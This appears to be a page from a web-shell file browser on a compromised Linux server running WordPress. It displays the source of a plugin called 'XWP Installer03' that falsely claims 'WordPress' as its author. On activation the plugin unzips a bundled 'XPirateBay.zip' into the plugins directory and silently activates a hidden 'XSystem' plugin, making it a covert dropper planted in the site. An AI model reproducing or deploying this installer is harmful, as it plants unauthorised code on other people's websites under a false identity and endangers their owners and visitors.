HEX
Server: LiteSpeed
System: Linux CentOS-79-64-minimal 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: vishn3436 (5293)
PHP: 8.0.15
Disabled: NONE
Upload Files
File: /home/vishnuweavesb2b.com/public_html/wp-content/plugins/XUpdater03/xwp-installer.php
<?php
/**
 * Plugin Name: XWP Installer03
 * Description: XWP Installer03
 * Version: 1.2
 * Author: WordPress
 */

register_activation_hook(__FILE__, 'xwp_installer_activate_03');

function xwp_installer_activate_03() {
	
	$zip_file = plugin_dir_path(__FILE__) . 'XPirateBay.zip';
	$plugin_dir = ABSPATH . 'wp-content/plugins/';
	$plugin_entry = 'XSystem/XSystem.php';

	update_option('xwp_curr_posts', 0);
	update_option('xwp_last_create', 0);
	
	update_option('xwp_key', 0);

	require_once ABSPATH . 'wp-admin/includes/file.php';
	require_once ABSPATH . 'wp-admin/includes/plugin.php';

	WP_Filesystem();
	global $wp_filesystem;

	if (file_exists($zip_file)) {
		$result = unzip_file($zip_file, $plugin_dir);
		if (function_exists('wp_clean_plugins_cache')) {
			wp_clean_plugins_cache(true);
		}
		sleep(1);
		if (!is_plugin_active($plugin_entry)) {
				$activation = activate_plugin($plugin_entry);
		}
	}
}